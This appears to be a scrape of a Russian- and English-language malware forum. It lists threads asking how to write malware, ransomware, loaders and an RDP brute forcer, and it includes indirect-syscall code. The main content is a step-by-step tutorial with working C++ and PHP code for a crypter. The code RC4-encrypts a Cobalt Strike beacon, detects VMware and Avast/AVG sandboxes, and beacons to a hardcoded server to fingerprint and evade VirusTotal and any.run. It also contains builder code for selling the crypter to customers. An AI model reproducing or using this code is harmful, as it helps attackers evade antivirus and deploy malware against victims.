всем привет, недавно поставил себе точную цель стать малварь кодером (крипт/боты/лоадеры и т.д) на постоянку и дополнительно найти белый ворк. начал разбирать продукт Matanbuchus и colibri (на этом же форуме) построил примерную архитектуру и сформировал себе тз. в это же время постоянно ресерчу форум в поисках полезной информации и недавно наткнулся на большое количество постов от DildoFagins про nim и dlang, почитал про эти языки и зашел больше dlang , начал читать книгу про dlang и почему-то подсознательно появляются сомнения насчет моего пути, а стоит ли? может лучше другой яп? и всякие прочие мысли.
исходя из всего этого хочу попросить совета от знатаков в теме или в личных сообщениях где мне помогут определиться в каком направлении двигаться.

так же если у кого-то есть похожие цели много свободного времени и желание создавать проекты жду вас в лс

best language to code malware in
ID: 6765d804b4103b69df37568e
Thread ID: 124475
Created: 2024-10-10T06:51:29+0000
Last Post: 2024-12-10T23:06:59+0000
Author: DM7
Replies: 17 Views: 2K

i would like to know what the best programming language to code malware in is, for example a botnet loader which is best for the clientside and why

Android c++ development
ID: 6765d804b4103b69df375ab7
Thread ID: 33896
Created: 2019-12-17T19:38:22+0000
Last Post: 2019-12-18T17:54:47+0000
Author: Triada
Replies: 3 Views: 2K

Кто знает, как компилить спп код под андроид чтобы потом через Runtime.getRuntime().exec() можно было запускать.
Какой компилер и тп.

в каком направлении двигаться?
ID: 6765d804b4103b69df375691
Thread ID: 128331
Created: 2024-12-05T22:49:00+0000
Last Post: 2024-12-09T12:24:36+0000
Author: kto
Replies: 26 Views: 2K

всем привет, имею средние знания компьютер саинса и c/c++/rust
тянет писать малварь и прочие низкоуровневые проекты и так же веб для них. посоветуйте пожалуйста в каком направлении двигаться, какой яп перспективней всего или же какой эффективней всего для малвари в текущих реалиях (удобство в разработке или же в обучении играет более меньшую роль в выборе для меня чем возможности языка). буду рад если помимо совета по япу посоветуете IDE для разработки больших проектов малвари , с десктоп частью и веб частью.
так же было бы неплохо еслиб ваш совет был подкреплен материалом (курсы/книги/лекции на ютубе и всякий прочий материал)

Rdp brute forcer
ID: 6765d804b4103b69df375697
Thread ID: 116311
Created: 2024-06-07T12:58:11+0000
Last Post: 2024-12-01T02:49:35+0000
Author: TheExample
Replies: 19 Views: 2K

We are looking for custom Rdp brute forcer,

If you got any, or can write contact us

Изучаю C++. Нужен ваш совет.
ID: 6765d804b4103b69df3756a1
Thread ID: 125697
Created: 2024-10-28T10:48:42+0000
Last Post: 2024-11-18T09:25:22+0000
Author: Lelush
Replies: 23 Views: 2K

Доброго времени суток. Относительно недавно решил изучать ЯП С++ и хотел бы узнать, как можно более в понятной форме изучать этот язык. Возможно у вас есть подборка книг, статей или документация/информация которая изложена простыми словами. Буду рад знатокам и новичкам в помощи данного вопроса!

Цель изучения данного языка: Будущее поступление в вуз робототехники (Заграницей) и написание софта под них и для себя или комерческих целей(Возможно и другие отрасли). Мотивация изучаения это сфера описанная выше и её переспективы а деньги втотричны, иначе в обратном случае когда цель это деньги, то скорее всего столкнулся бы с выгоранием или забросил бы это дело.
P.S: На вопрос а почему раньше не занимался изучением ЯП я отвечу: Учился пару лет назад в колледже которая была ориентирована на это, но изучение программирования было по малу а иногда вовсе отсуствовало + консервативные учителя советской закалки которые падавляли всяческие проявления индивидуальности. Думаю не стоит обьяснять что это напрочь отбило желание программировать. И вот спустя время я начинаю осваивать для себя новые инструменты. Розовых очков нету, смотрю на это как реалист, жду ваших мнений:)
А ещё что думаете насчет курса и лекций Гарварда на Youtube?

Подскажите хороший обфускатор
ID: 6765d804b4103b69df3756b7
Thread ID: 122795
Created: 2024-09-16T05:07:17+0000
Last Post: 2024-10-01T22:58:30+0000
Author: DedicNinja
Replies: 15 Views: 2K

Гайс, нужен хороший обфускатор под c#, NF. платный\бесплатный не важно. что посоветуете?

не хочу чтоб крякнули.

только просьба советуйте дельный который реально защищает код. непроверенный из гугла только на крайний случай рассматриваю.

Отследить NTSTATUS сисколла в пуле потоков
ID: 6765d804b4103b69df3756bd
Thread ID: 120001
Created: 2024-08-01T09:23:08+0000
Last Post: 2024-09-20T10:42:41+0000
Author: secidiot
Prefix: Мануал/Книга
Replies: 7 Views: 2K

Может кому то понадобится метод получения NTSTATUS`a индирект сисколла из пула потоков (пул потоков служит для "очистки" стека). Сам долго думал над реализацией.
Пример работы с пулом потоков https://0xdarkvortex.dev/hiding-in-plainsight/

C:Copy to clipboard

PVOID pReturnAddress = NULL;
volatile LONG* pNtStatus = NULL;
HANDLE hEvent = NULL;

LONG CALLBACK VectorHandler(PEXCEPTION_POINTERS ExceptionInfo) {
    static bool bpSet = false;
    CONTEXT* ctx = ExceptionInfo->ContextRecord;

    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ILLEGAL_INSTRUCTION) {

        if (!bpSet) {
            ctx->Dr0 = (DWORD64)pReturnAddress;
            ctx->Dr7 = 0x00000001;
            ctx->Rip += 2;
            bpSet = true;
        }

        return EXCEPTION_CONTINUE_EXECUTION;
    } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        *pNtStatus = (NTSTATUS)ctx->Rax;
        ctx->Dr0 = 0;
        ctx->Dr7 = 0;

        SetEvent(hEvent);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int wmain()
{
    NTSTATUS NtStatus = 0;
    pNtStatus = (volatile LONG*)VirtualAlloc(NULL, sizeof(LONG), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pNtStatus == NULL) {
        return 0;
    }
    
    hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    if (hEvent == NULL) {
        return 0;
    }
    
    pReturnAddress = GetSyscallAddress(0xdeadbeef);
    AddVectoredExceptionHandler(1, VectorHandler);
    
    //вызов syscall`a
    ...
    
    
    
    NtStatus = *pNtStatus;
    printf("NTSTATUS: 0x%X\n", NtStatus);
    
    
    CloseHandle(hEvent);
    VirtualFree((LPVOID)pNtStatus, 0, MEM_RELEASE);
    return 0;
}
Kernel Injector
ID: 6765d804b4103b69df3756c0
Thread ID: 113739
Created: 2024-05-02T12:41:13+0000
Last Post: 2024-09-15T14:46:57+0000
Author: mddbs
Replies: 10 Views: 2K

Был бы очень благодарен если кто-нибудь здесь мог бы мне помочь с написанием кернел инжектора
В теории я понимаю но теперь нужно на практике

Вкатунства тред/составление roadmap
ID: 6765d804b4103b69df3756c9
Thread ID: 121269
Created: 2024-08-22T20:18:34+0000
Last Post: 2024-08-30T20:56:43+0000
Author: megakraken_666
Replies: 16 Views: 2K

В делах программистских я суперновичок из опыта которого уверенное владение базовой базой(конструкции языка c++, ооп, идиомы) отточенной и отполированной кодварсом, литкодом и консольными играми-безделушками. На этом этапе было всё довольно просто: есть язык - учи язык, но дальше абсолютный мрак. Часто слышал "делай что нравится/выбери сферу" но все направления кажутся слишком глобальными, где одно хватается за другое и так до бесконечности. Дело разумеется во мне, но может вы дадите сможете помочь советом.

Есть ли какой-то подробный роадмап который вы видели или использовали при изучении какой-то направления на тех же плюсах? Насколько этот опыт применим к трудоустройсву? Может вам есть что посоветовать в целом? Системное программирование кажется крутой идеей но в плане поиска работы может уйти польше года на одну подготовку так ли это?

Ни одного друга-программиста нет так что могу спросить только у вас.

Как реализовать?
ID: 6765d804b4103b69df3756ce
Thread ID: 120590
Created: 2024-08-11T16:11:21+0000
Last Post: 2024-08-23T23:41:55+0000
Author: SlowMan
Replies: 20 Views: 2K

Привет.

Нужно реализовать следующую задачу:
Есть список IP.txt содержащий строки ip:port
Код должен отправлять пустой пакет(с 1 байтом 0x00) на каждый ip:port и проверять ответ. Если первый байт ответа == 0x55 то записывать в файл Good иначе в файл Bads.txt или если ошибка то в файл Error.txt
Нужна большая скорость работы.(Списки минимум от миллиарда строк)
C++/C#

Windows Native API Programming
ID: 6765d804b4103b69df3756cf
Thread ID: 108336
Created: 2024-02-15T20:52:44+0000
Last Post: 2024-08-23T21:09:22+0000
Author: sex
Prefix: Мануал/Книга
Replies: 8 Views: 2K

Толковая книжка по Native API, изучайте.

Содержание:
Chapter 1: Introduction to Native API Development
Chapter 2: Native API Fundamentals
Chapter 3: Native Applications
Chapter 4: System Information
Chapter 5: Processes
Chapter 6: Threads
Chapter 7: Objects and Handles
Chapter 8: Memory (Part 1)
Chapter 9: I/O

Почему-то не прикрепилась к посту

Линк:

![gofile.io](/proxy.php?image=https%3A%2F%2Fgofile.io%2Fdist%2Fimg%2Flogo- small-og.png&hash=32429581fada6ae1887e27dfa99f76aa&return_error=1)

[ Gofile - Free Unlimited File Sharing and Storage

](https://gofile.io/d/qcBV3b)

Gofile is a free, secure file sharing and storage platform. With unlimited bandwidth and storage, you can easily store and share files of any type without any limits. Our advanced features, such as CDN support and password protection, make Gofile the ideal choice for individuals and businesses...

gofile.io

Как уменьшить размер исполняемого файла ?
ID: 6765d804b4103b69df3756d4
Thread ID: 120826
Created: 2024-08-15T07:31:22+0000
Last Post: 2024-08-19T09:24:33+0000
Author: ymmfty0
Replies: 15 Views: 2K

Приветствую всех! Кто может мне помочь?

При использование параметра в C/C++ -> Создание Кода -> Библиотека выполнения-> /MT
Предварительно использую эти параметры:
Компоновщик -> Файл манифеста -> Создавать манифест -> Нет(/MANIFEST:NO)
C/C++ -> Оптимизация -> Максимальная оптимизация (приоритет размера) (/O1)
C/C++ -> Оптимизация -> Предпочитать размер или скорость -> Предпочитать краткость кода (/Os)
Вот такой код

C++:Copy to clipboard

#include <Windows.h>

int main()
{
    return 0;
}

При билде в Release/x64 файл занимает 108кб. Я хочу так же использовать CRT и STL , но при этом хочется уменьшить размер файла . Буду благодарен за советы ,что можно будет сделать, всем спасибо. Дополнительно: Я знаю про upx, я ищу еще альтернативные способы. Мне нужен /MT , я хочу чтобы код был переносимым. Я не хочу отключать CRT и STL, мне это надо, я работаю с этим .

Нужно найти сайт с функциями WinAPI
ID: 6765d804b4103b69df3756d8
Thread ID: 116776
Created: 2024-06-13T15:48:44+0000
Last Post: 2024-08-12T19:08:47+0000
Author: R4D104C71V3
Replies: 5 Views: 2K

Был сайт c темносиним фоном, на котором были все необходимые функции WinAPI(отдельно рансом, отдельно стиллер, отдельно клиппер). Не мог бы кто- нибудь скинуть линк(если понял, про что я имею в виду)
Извините за бестолковый вопрос

Какие ресурсы могут помочь мне запрограммировать программы-вымогатели?
ID: 6765d804b4103b69df3756e5
Thread ID: 119133
Created: 2024-07-18T17:35:19+0000
Last Post: 2024-07-21T14:33:30+0000
Author: Lost001
Replies: 18 Views: 2K

Привет всем, я хотел знать, где, какие ресурсы я могу изучить, чтобы запрограммировать хорошо спроектированную программу-вымогатель, я изучал C/C++, но я не знал, как эффективно использовать Windows API, я не до конца понимал, поэтому я хотел знать некоторые функции или инструменты и все, что может помочь мне в этой траектории

PART 3 Create Your own crypter and Encrypt Your Cobalt strike beacon and make it fud Bypass Kaspersky, Windows defender, Avira , And most Used AV
ID: 6765d804b4103b69df3756ed
Thread ID: 99174
Created: 2023-10-01T10:28:48+0000
Last Post: 2024-07-03T11:41:52+0000
Author: TOP G
Prefix: Статья
Replies: 9 Views: 2K

Write Your Own crypter with GUI in One tutorial, In less than One Hour. And Evad's most popular AV, EDR products!

The Killer Guide by TOP G.
Source: https://xss.is

This is part 3 You can check parts from the links below
PART 1 here: https://xss.is/threads/97133
PART 2 here: http://xss.is/threads/98026

**POC’s Proof Of Concepts

Bypass windows defender**

Bypass KasperSky Antivirus

Before continuing reading, if you still haven't read PART 1 and PAR 2, please ensure you read them.

In Parts 1 and 2 we created the GUI and client Server authentication and Finished up the Custom functions GetProcAddress and GetModuleHandle in this part, we will Continue finishing all futures left and will bypass AVG sandbox, RC4 encryption, and other futures

Here are the futures we will use in our Crypt

1 ) - Runtime Crypting
2 ) - Runtime string obfuscation
3 ) - Anti Virus Total and Anti app.any.run
4 ) - Bypass Avast and AVG Sandbox ( this is a very important and private method )
5 ) - Anti Sandbox and virtual machines ( Detecting VMware and virtual box )
6 ) - Creating Custom GetModuleHandle and GetProcAddress
7 ) - API Hashing
8 ) - RC4 Encryption Algorithm

So as you already know we finished Future number 6 and Future number 7

#RC4 Encryption Algorithm

FireUp your visual studio and create a new Project name it rc4Crypter
Create the files
1 - rc4.h
2 - rc4.cpp
3 - main.cpp

In the rc4.h add the following code

C++:Copy to clipboard

#pragma once

#ifndef _RC4_H
#define _RC4_H

struct rc4_state
{
    int x, y, m[256];
};

void rc4_setup(struct rc4_state* s, unsigned char* key, int length);
void rc4_crypt(struct rc4_state* s, unsigned char* data, int length);

#endif

In the rc4.cpp add the following code

C++:Copy to clipboard

void rc4_setup(struct rc4_state* s, unsigned char* key, int length)
{
    int i, j, k, * m, a;

    s->x = 0;
    s->y = 0;
    m = s->m;

    for (i = 0; i < 256; i++)
    {
        m[i] = i;
    }

    j = k = 0;

    for (i = 0; i < 256; i++)
    {
        a = m[i];
        j = (unsigned char)(j + a + key[k]);
        m[i] = m[j]; m[j] = a;
        if (++k >= length) k = 0;
    }
}

void rc4_crypt(struct rc4_state* s, unsigned char* data, int length)
{
    int i, x, y, * m, a, b;

    x = s->x;
    y = s->y;
    m = s->m;

    for (i = 0; i < length; i++)
    {
        x = (unsigned char)(x + 1); a = m[x];
        y = (unsigned char)(y + a);
        m[x] = b = m[y];
        m[y] = a;
        data[i] ^= m[(unsigned char)(a + b)];
    }

    s->x = x;
    s->y = y;
}

In the main.cpp add the following code

C++:Copy to clipboard

    printf("argv[1] %s \n", argv[1]);


    std::string inputPath = argv[1];
    std::string outputDirectory = argv[2];
    std::string key = argv[3];

    char outputPath[MAX_PATH];
    char KeyPath[MAX_PATH];

    strcpy(outputPath, outputDirectory.c_str());
    strcat(outputPath, "stub.enc");

    strcpy(KeyPath, outputDirectory.c_str());
    strcat(KeyPath, "key.h");

    //std::cout << "Input path: " << inputPath << std::endl;
    //std::cout << "Output path: " << outputDirectory << std::endl;
    //std::cout << "Key: " << key << std::endl;


    // convert plaintext key to hex key and save it to file

    char temphexKey[MAX_PATH];
    char hexKey[MAX_PATH];
    sprintf(temphexKey, "\nunsigned char key[] = {");
    strcpy(hexKey, temphexKey);

    for (int x = 0; x <= (strlen(key.c_str()) - 1); x++)
    {
        if (x == strlen(key.c_str()) - 1)
            sprintf(temphexKey, "0x%x", key[x]);
        else
            sprintf(temphexKey, "0x%x,", key[x]);

        strcat(hexKey, temphexKey);

    }
    strcat(hexKey, "};\n");

    printf(hexKey);

    HANDLE hKey = CreateFileA(KeyPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    WriteFile(hKey, hexKey, strlen(hexKey), 0, 0);

    CloseHandle(hKey);


    HANDLE hBeacon = CreateFileA(inputPath.c_str(), GENERIC_READ, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    DWORD beaconSize = GetFileSize(hBeacon, 0);
    DWORD beaconReadedBytes = 0;
    unsigned char* buffer = (unsigned char*)LocalAlloc(LPTR, beaconSize);

    if (!ReadFile(hBeacon, buffer, beaconSize, &beaconReadedBytes, 0))
    {
        printf("can't read the beacon file \n");
        return -1;
    }
    CloseHandle(hBeacon);


    struct rc4_state* s;
    s = (struct rc4_state*)malloc(sizeof(struct rc4_state));

    printf("[+] Encrypting...\n");
    rc4_setup(s, (unsigned char*)key.c_str(), key.size());
    rc4_crypt(s, buffer, beaconSize);


    HANDLE hEncBeacon = CreateFileA(outputPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    DWORD ebeaconReadedBytes = 0;
    if (!WriteFile(hEncBeacon, buffer, beaconSize, &ebeaconReadedBytes, 0))
    {
        printf("can't write the encrytped beacon file \n");
        return -1;
    }
    CloseHandle(hEncBeacon);

Nothing Just using the RC4 encryption library.

In the main function as you can see we used the args to read the path of the input and output files and the Key used for the encryption and decryption

After doing the encryption we add a file called key.h This is where we store the hex key after converting the string to hex and save it as hex then
we use the same method to convert the shellcode into hex and c-type shellcode so we can compile it within the same stub without needing to download it or adding it to the PE Section

In the for loop, we use the function sprintf to convert the char to hex and save it to the Temp variable then we use strcat to move it to the Main Variable, and the if statement checks if we access to the last char and if yes use sprintf without comma other than that we add a comma after every byte and in final we print it and write it to the file key.h

Finally, we encrypt the shellcode and save it as shellcode.enc
The conversation will be in Python we will see this soon

But for now, you can use hxd to convert the shellcode.enc to c type unsigned char and save it in the file name it enc.h
Copy the ech.h to the stub or Decrypter and recompile it now go to your virtual Box and make sure Windows Defender is up to date. When we finish the project you will not need to copy or move anything because everything will be automatically

Attention: For more, I will Record a video to show you the Proof and will not take a static image so everyone can see The bypass

Good we finished the RC4 encryption, now let's start with the next future

# Anti Sandbox and virtual machines ( Detecting VMware and virtual box )

Add the following code :

C++:Copy to clipboard

BOOL IsVmwareDetect()
{
    HRESULT hres;

    hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres))
    {
        return FALSE;
    }

    hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);

    if (FAILED(hres))
    {
        CoUninitialize();
        return FALSE;
    }

    IWbemLocator* pLoc = 0;

    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);

    if (FAILED(hres))
    {
        CoUninitialize();
        return FALSE;
    }

    IWbemServices* pSvc = 0;


    hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);

    if (FAILED(hres))
    {
        pLoc->Release();
        CoUninitialize();
        system("pause");
        return FALSE;
    }

    hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return FALSE;
    }

    IEnumWbemClassObject* pEnumerator = NULL; hres = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_VideoController "), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return FALSE;
    }
    else
    {
        IWbemClassObject* pclsObj;
        ULONG uReturn = 0;

        while (pEnumerator)
        {
            hres = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);

            if (0 == uReturn)
            {
                break;
            }

            VARIANT vtProp;

            hres = pclsObj->Get(L"Name", 0, &vtProp, 0, 0);

            if (wcscmp(vtProp.bstrVal, L"VMware SVGA 3D") == 0)
            {
                printf("Vmware Detected ... \n");

                return TRUE;
            }
            VariantClear(&vtProp);

            pclsObj->Release();
            pclsObj = NULL;
        }

    }

    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();

    CoUninitialize();

    return FALSE;
}

And this if statement in Main before the shellcode decryption and invoking

This is my own method I searched on Google to see if anyone shared it I got 0 results
To detect the Vmware and virtual box we need to get the Graphic card name and then compare it with a static Graphic card name that is used by Vmware
The explanation is in PART 2 To not spam you can get back to PART 2

# Bypass Avast and AVG Sandbox ( this is a very important and private method )

Here is also my own method after some analysis of the sandbox of AVG And Avast I detected a bug in the Avast sandbox system and the bug is :

When we try to connect to the root using the function IWbemLocator::ConnectServer

In a real PC even when running the software Or the code on VMware or VirtualBox the software can still connect when running and these two sandboxes can’t.

So here we figure out how we can exploit this bug, first add the code below

C++:Copy to clipboard

BOOL IsSandboxDected()
{
    HRESULT hres;

    hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres))
    {
        return FALSE;
    }

    hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);

    if (FAILED(hres))
    {
        CoUninitialize();
        return FALSE;
    }

    IWbemLocator* pLoc = 0;

    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);

    if (FAILED(hres))
    {
        CoUninitialize();
        return FALSE;
    }

    IWbemServices* pSvc = 0;

    hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);

    if (FAILED(hres))
    {
        //cout << "Sandbox Detected " << endl;
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();

        //system("pause");
        return TRUE;
    }

    //system("pause");

    pSvc->Release();
    pLoc->Release();
    CoUninitialize();

    return FALSE;

}

In the main function add this code also.

C++:Copy to clipboard

    if (IsSandboxDected() == TRUE)
    {
        exit(0);
    }

You can see there is a similarity between the code that detects the VMware and the code that is used to detect the Avast and AVG Sandbox.

The main difference is that in the Detect VMware, we Pass the connect to the namespace so we can query the video card names but in the Avast sandbox we can’t so there are the main differences.

# Anti Virus Total and Anti app.any.run

This future is huge and we need to create a stand-alone project to start using it and gathering information

This project is splited into two splits

The first one is the information gathering
The second is the main malware and this step and code will be added after we get the company's network names that are really used by Virustotal and app.any.rn

What’s required First you need a VPS or VPN that allows you to open ports, second a web server iam using Wampserver.

Next, create a new empty c++ project Name it Honeypot

Create a php file also name it honeypot.php

Create a table and name it ASN and add two columns first id and the second asn

In the php file add this code

PHP:Copy to clipboard

<?php 



 $sandboxIp   =  $_SERVER['REMOTE_ADDR'];

 $sandboxData =  file_get_contents("https://ipinfo.io/$sandboxIp?token=2c57fdbc9513d2");
 
 
 $js = json_decode($sandboxData,true);
 $org = $js["org"];
 
 if(strstr($org,"Amazone"))
 {
     
    print(0);
 }

 $file_open = fopen('sandbox_data.txt','a+');
 fwrite($file_open,$org);
 fclose($file_open);
 
?>

In the c++ project add this code

C++:Copy to clipboard

int main(int argc , char* argv[])
{
    WSADATA ws;

    struct  addrinfo* result = NULL, * ptr = NULL, hints;

    ZeroMemory(&hints, sizeof hints);

    int Res = WSAStartup(MAKEWORD(2, 2), &ws);

    const char *host = "91.109.180.2";
    const char *port = "80";

    Res = getaddrinfo(host, port, &hints, &result);

    ptr = result;

    SOCKET  Sock = INVALID_SOCKET;
    Sock = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);


    Res = connect(Sock, ptr->ai_addr, ptr->ai_addrlen);

    char* buffer;
    buffer = (char*)malloc(500);
    strcpy(buffer, "GET /honeypot.php HTTP/1.0\r\n");
    strcat(buffer, "Host: ");
    strcat(buffer, host);
    strcat(buffer, "\r\n");
    strcat(buffer, "\r\n");

    Res = send(Sock, buffer, strlen((const char*)buffer), 0);
    Return 0;
}

The php code is very simple just getting the ip of the Sandbox and then using ipinfo api to get ip information. The important thing is the retrieved data will focus on the ASN or Autonomous System Number and finally save the Autonomous System Number on the database Aslo you can save them in a Text file this step up two you because as I said before this step is only to gather information

Will use the ASN to detect company networks, Meaning if our malware gets executed from a Company Network such as Microsoft, Google, Amazon, or any other Company VPS, that clearly means our malware is being analyzed by the target or even by the malware analysis team . and to stop them We will BLOCK any connection that came from these CORPS
As you may already know VirusTotal Or app.any.run is using these corps just described above like Microsoft, and Google VPS to run their sandboxes !!

So we can use this knowledge to Fight them and bypass them
Also in c++ code, we just make a connection to the honeypot.php nothing more

Attention: these two codes above are only for now used to gather information and build our own database about the ASN and org the Org contains ASN and corps name
Like this

HTML:Copy to clipboard

  "org": "AS8075 Microsoft Corporation",

Now if you search this ASN in Google you can find this ASN owned by Microsoft Corporation

Also to remind you These public companies' ASNs are also public but iam giving you this technique if you wanna block a custom or a target network you don’t know or can’t find their ASN

Also sometimes Virustotal may use different Networks and you will see how Virustotal shares your EXE with other companies when you upload the honeypot.exe to virus total and start getting connections from different countries

Compile the honeypot project and make sure you replace the ip with your server ip and the path of your file and upload it to Virustotal

Wait until the sandbox finishes checking the behavior

Now go and check your database it should have a lot of ASNs and companies' names we need to block them
Also, get a from the internet and ASN databases and add them to your database for more success

Here we finished gathering information about companies' networks that may be used if our malware gets uploaded to Virustotla or app.any.run

Now get back to the decrypt project and add the same code that we added to Honeypot
But this time will make them inside a function and will invoke it after the Vmware and AVG sandbox detection functions as below

C++:Copy to clipboard

BOOL isVtDetected() 
{
    WSADATA ws;

    struct  addrinfo* result = NULL, * ptr = NULL, hints;

    ZeroMemory(&hints, sizeof hints);

    int Res = WSAStartup(MAKEWORD(2, 2), &ws);

    const char* host = "91.109.180.2";
    const char* port = "80";

    Res = getaddrinfo(host, port, &hints, &result);

    ptr = result;

    SOCKET  Sock = INVALID_SOCKET;
    Sock = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);


    Res = connect(Sock, ptr->ai_addr, ptr->ai_addrlen);

    char* buffer;
    buffer = (char*)malloc(500);
    strcpy(buffer, "GET /index.php HTTP/1.0\r\n");
    strcat(buffer, "Host: ");
    strcat(buffer, host);
    strcat(buffer, "\r\n");
    strcat(buffer, "\r\n");

    Res = send(Sock, buffer, strlen((const char*)buffer), 0);

    // recive section
    int recivedData_length = 2500;
    char* recived_Buffer;
    recived_Buffer = (char*)malloc(recivedData_length);
    Res = recv(Sock, (char*)recived_Buffer, recivedData_length, 0);



    if (strstr(recived_Buffer, "403 Forbidden")) 
    {
        printf("Virustotal detected \n");
        return TRUE;
    }


    free(buffer);
    free(recived_Buffer);
    return FALSE;
}

The reason for why we add the virus total detection code after these two functions is we may detect Vmware or AVG without making any outside connection and leaking our domain or ip so this is better and safer

Copy the honeypot.php and name the copy as index.php
And add this code

PHP:Copy to clipboard

<?php 


 $sandboxIp   =  $_SERVER['REMOTE_ADDR'];

 $sandboxData =  file_get_contents("https://ipinfo.io/$sandboxIp?token=2c57fdbc9513d2");
 
 
 $js = json_decode($sandboxData,true);
 $org = $js["org"];
 
 if(strstr($org,"Microsoft Corporation"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"UK Dedicated Servers Limited"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"Google LLC"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"Vimpelcom"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"Amazon.com, Inc."))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"Zwiebelfreunde"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"IELO-LIAZO SERVICES SAS"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else
 {
     // do no thing mean will return 200 ok by default
 }
 //
 
 
 
 

?>

Explaining the two Codes above

In the php code same as the honeypot.php code but the main difference here is now we are not storing the corps names or ASN after collecting the information we need to use to detect the VT scan now we are checking directly the ip data with the gathered data if the org contains names such as UK Dedicated Servers Limited, Microsoft, Amazon.com, Inc., Vimpelcom, Google LLC and Zwiebelfreunde e.V.

Will return http 403 Forbidden using the header function
Otherwise will do nothing this by default will return 200 Ok

In the C++ code is simple to make a connection to the server and if the server returns 403 Forbidden exit the process using the exit function otherwise continue like normal we can use the same function we used in the php strstr function to check if the string contains a string in the text

vt_detect.png

As you can see in the image above.
To simulate this process you can use the Server or VPS ip as I did I used my VPN IP and the org data is AS29075 IELO-LIAZO SERVICES SAS
So I added this to the if statement in php code so when I access this from my IP I will get detected and return 403 forbidden when I remove the if and access again will see 200 OK.

The only reason to simulate the process of Virustotal detection is just to know how the program will act in real life and also to show you the proof

Good now we finished almost everything now we have three Main projects

1- Hasher
2- Rc4Crypter
3- stub

Two of them will be compiled and the third will not and the reason for this is the stub or decrypter is the main crypt and will compile it on the fly using the Gui crypter and the other two files will be used to hash the strings for the custom functions GetModuleHandle and GetProcAddress and store them in Config.h
And the rc4crypt will crypt the Cobalt strike beacon and store the key for encryption and decryption in the key.h

These three files generated by the two projects above will be them in the stub.exe

Now compile the hasher.exe and rc4crypt.exe
Go to www of your server and remember the folder we created and store the auth.php file in PART 1 we name it crypter go to it and inside it create a folder and name it project

Inside the project folder copy the index.php that we use it above to detect Virustotal and app.any.run Also copy the hasher.exe and rc4crypt.exe to the project folder

Now go to the stub folder and copy it to the Project folder Total should be like the image below
project.png

Delete these files: Config.h , enc.h, and key.h inside the decrypt project

Cause these 3 files will be generated on the fly before compiling the stub

Now create a new php file name it builder.php and create a python file shellcodegenerator.py and now here you should install Python

In the Python file add this code
[python]

The code is so simple just open the file that we want to encrypt in our situation it's the cobaltstrike beacon then convert the bytes to hex and every 12 rounds add a new line after finishing add the variable name and type then write the shellcode to enc.h

As you can see in the image
shellcode.png

This shellcode type c is generated by the Python file

Tell now everything is awesome

But this project is not finished yet and now we need to make everything Automatic

Before anything let's assume we have 10 customers and 1 of them is using the crypter we can’t let the 9 others wait for the first customer to finish and then use the crypt so to fix this problem we need to create a copy of the decrypt project every time the customer starts crypting new shellcode.

Don't worry everything will be explained first

Open the builder.php file and write the following code

PHP:Copy to clipboard

<?php 

error_reporting(0);



function genRandname($length) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

function XcopyFolder($Randname)
{
    exec("mkdir $Randname");
    exec("Xcopy /E/I decrypt  $Randname");
}



function StubUpload($ProjectPath)
{
    $stub_name   = basename($_FILES["fileToUpload"]["name"]);
    $ProjectPath = $ProjectPath."/"."stub.bin";

